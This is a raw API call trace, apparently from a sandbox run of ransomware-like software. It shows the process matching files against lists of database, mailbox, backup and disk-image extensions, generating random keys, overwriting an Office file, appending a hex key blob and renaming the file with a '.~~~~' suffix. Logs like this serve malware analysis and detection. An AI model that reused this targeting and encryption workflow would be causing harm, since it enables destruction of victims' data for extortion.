	[0080.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".eql") returned 0x0
	[0080.931] lstrlenW (lpString=".DBF") returned 4
	[0080.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".DBF") returned 0x0
	[0080.931] lstrlenW (lpString=".EQL") returned 4
	[0080.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".EQL") returned 0x0
	[0080.931] lstrlenW (lpString=".FDB") returned 4
	[0080.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".FDB") returned 0x0
	[0080.931] lstrlenW (lpString=".EDB") returned 4
	[0080.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".EDB") returned 0x0
	[0080.931] lstrlenW (lpString=".DACPAC") returned 7
	[0080.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".DACPAC") returned 0x0
	[0080.931] lstrlenW (lpString=".VHD") returned 4
	[0080.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".VHD") returned 0x0
	[0080.931] lstrlenW (lpString=".DBV") returned 4
	[0080.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".DBV") returned 0x0
	[0080.931] lstrlenW (lpString=".dacpac") returned 7
	[0080.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".dacpac") returned 0x0
	[0080.932] lstrlenW (lpString=".sdf") returned 4
	[0080.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".sdf") returned 0x0
	[0080.932] lstrlenW (lpString=".accdb") returned 6
	[0080.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".accdb") returned 0x0
	[0080.932] lstrlenW (lpString=".DBX") returned 4
	[0080.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".DBX") returned 0x0
	[0080.932] lstrlenW (lpString=".MDT") returned 4
	[0080.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".MDT") returned 0x0
	[0080.932] lstrlenW (lpString=".SQB") returned 4
	[0080.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".SQB") returned 0x0
	[0080.932] lstrlenW (lpString=".vhd") returned 4
	[0080.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".vhd") returned 0x0
	[0080.932] lstrlenW (lpString=".bac") returned 4
	[0080.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".bac") returned 0x0
	[0080.932] lstrlenW (lpString=".mdf") returned 4
	[0080.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".mdf") returned 0x0
	[0080.932] lstrlenW (lpString=".BAK") returned 4
	[0080.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".BAK") returned 0x0
	[0080.932] lstrlenW (lpString=".BAC") returned 4
	[0080.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".BAC") returned 0x0
	[0080.932] lstrlenW (lpString=".dbs") returned 4
	[0080.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".dbs") returned 0x0
	[0080.932] lstrlenW (lpString=".vhdx") returned 5
	[0080.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".vhdx") returned 0x0
	[0080.932] lstrlenW (lpString=".NDF") returned 4
	[0080.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".NDF") returned 0x0
	[0080.933] lstrlenW (lpString=".dat") returned 4
	[0080.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".dat") returned 0x0
	[0080.933] lstrlenW (lpString=".DBS") returned 4
	[0080.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".DBS") returned 0x0
	[0080.933] lstrlenW (lpString=".CKP") returned 4
	[0080.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".CKP") returned 0x0
	[0080.933] lstrlenW (lpString=".edb") returned 4
	[0080.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".edb") returned 0x0
	[0080.933] lstrlenW (lpString=".PST") returned 4
	[0080.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".PST") returned 0x0
	[0080.933] lstrlenW (lpString=".dbf") returned 4
	[0080.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".dbf") returned 0x0
	[0080.933] lstrlenW (lpString=".SQL") returned 4
	[0080.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".SQL") returned 0x0
	[0080.933] lstrlenW (lpString=".pst") returned 4
	[0080.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".pst") returned 0x0
	[0080.933] lstrlenW (lpString=".dbv") returned 4
	[0080.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".dbv") returned 0x0
	[0080.933] lstrlenW (lpString=".SDF") returned 4
	[0080.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".SDF") returned 0x0
	[0080.933] lstrlenW (lpString=".dtxs") returned 5
	[0080.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".dtxs") returned 0x0
	[0080.933] lstrlenW (lpString=".db3") returned 4
	[0080.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".db3") returned 0x0
	[0080.934] lstrlenW (lpString=".OST") returned 4
	[0080.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".OST") returned 0x0
	[0080.934] lstrlenW (lpString=".dbx") returned 4
	[0080.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".dbx") returned 0x0
	[0080.934] lstrlenW (lpString=".DB3") returned 4
	[0080.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".DB3") returned 0x0
	[0080.934] lstrlenW (lpString=".DAT") returned 4
	[0080.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".DAT") returned 0x0
	[0080.934] lstrlenW (lpString=".VHDX") returned 5
	[0080.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".VHDX") returned 0x0
	[0080.934] lstrlenW (lpString=".ndf") returned 4
	[0080.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".ndf") returned 0x0
	[0080.934] lstrlenW (lpString=".DB") returned 3
	[0080.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".DB") returned 0x0
	[0080.934] lstrlenW (lpString=".sql") returned 4
	[0080.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".sql") returned 0x0
	[0080.934] lstrlenW (lpString=".MYD") returned 4
	[0080.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".MYD") returned 0x0
	[0080.934] lstrlenW (lpString=".DBT") returned 4
	[0080.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".DBT") returned 0x0
	[0080.934] lstrlenW (lpString=".ACCDB") returned 6
	[0080.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".ACCDB") returned 0x0
	[0080.934] lstrlenW (lpString=".fdb") returned 4
	[0080.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".fdb") returned 0x0
	[0080.934] lstrlenW (lpString=".bak") returned 4
	[0080.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".bak") returned 0x0
	[0080.935] lstrlenW (lpString=".myd") returned 4
	[0080.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".myd") returned 0x0
	[0080.935] lstrlenW (lpString=".DTXS") returned 5
	[0080.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".DTXS") returned 0x0
	[0080.935] lstrlenW (lpString=".ckp") returned 4
	[0080.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".ckp") returned 0x0
	[0080.935] lstrlenW (lpString=".dbt") returned 4
	[0080.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".dbt") returned 0x0
	[0080.935] lstrlenW (lpString=".db") returned 3
	[0080.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".db") returned 0x0
	[0080.935] lstrlenW (lpString=".TXT") returned 4
	[0080.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".TXT") returned 0x0
	[0080.935] lstrlenW (lpString=".MDF") returned 4
	[0080.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".MDF") returned 0x0
	[0080.935] lstrlenW (lpString=".bdb") returned 4
	[0080.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".bdb") returned 0x0
	[0080.935] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0080.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.935] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0080.937] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.937] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0080.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0080.937] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20092688388) returned 1
	[0080.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9a177a70, dwHighDateTime=0x1d60e1e)) 
	[0080.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0080.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0080.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0080.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa858
	[0080.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa858 | out: hHeap=0x300000) returned 1
	[0080.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f50d8
	[0080.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0080.937] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0080.938] GetLastError () returned 0x0
	[0080.938] GetLastError () returned 0x0
	[0080.938] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0080.938] GetLastError () returned 0x0
	[0080.938] GetLastError () returned 0x0
	[0080.938] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x646, lpOverlapped=0x0) returned 1
	[0080.940] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff9ba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.941] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x646, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x646, lpOverlapped=0x0) returned 1
	[0080.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0080.941] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.941] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.941] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.941] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.941] CloseHandle (hObject=0x134) returned 1
	[0080.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a3178
	[0080.942] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.~~~~")) returned 1
	[0080.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3178 | out: hHeap=0x300000) returned 1
	[0080.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0080.942] GetLastError () returned 0x0
	[0080.942] RtlWakeConditionVariable () returned 0x365f70
	[0080.943] GetCurrentThreadId () returned 0x9cc
	[0080.943] GetCurrentThreadId () returned 0x9cc
	[0080.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801388
	[0080.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ffac8 | out: hHeap=0x300000) returned 1
	[0080.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa7b0 | out: hHeap=0x300000) returned 1
	[0080.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ffac8
	[0080.943] lstrlenW (lpString=".scr") returned 4
	[0080.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0080.943] lstrlenW (lpString=".cmd") returned 4
	[0080.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0080.943] lstrlenW (lpString=".dll") returned 4
	[0080.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0080.943] lstrlenW (lpString=".bat") returned 4
	[0080.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0080.943] lstrlenW (lpString=".cpl") returned 4
	[0080.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0080.943] lstrlenW (lpString=".sys") returned 4
	[0080.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0080.943] lstrlenW (lpString=".msc") returned 4
	[0080.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0080.943] lstrlenW (lpString=".com") returned 4
	[0080.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0080.943] lstrlenW (lpString=".lnk") returned 4
	[0080.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0080.943] lstrlenW (lpString=".msp") returned 4
	[0080.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0080.943] lstrlenW (lpString=".pif") returned 4
	[0080.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0080.943] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.944] lstrlenW (lpString=".sqb") returned 4
	[0080.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0080.944] lstrlenW (lpString=".ost") returned 4
	[0080.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0080.944] lstrlenW (lpString=".txt") returned 4
	[0080.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0080.944] lstrlenW (lpString=".mdt") returned 4
	[0080.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0080.944] lstrlenW (lpString=".BDB") returned 4
	[0080.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0080.944] lstrlenW (lpString=".eql") returned 4
	[0080.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0080.944] lstrlenW (lpString=".DBF") returned 4
	[0080.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0080.944] lstrlenW (lpString=".EQL") returned 4
	[0080.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0080.944] lstrlenW (lpString=".FDB") returned 4
	[0080.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0080.944] lstrlenW (lpString=".EDB") returned 4
	[0080.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0080.944] lstrlenW (lpString=".DACPAC") returned 7
	[0080.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0080.945] lstrlenW (lpString=".VHD") returned 4
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0080.945] lstrlenW (lpString=".DBV") returned 4
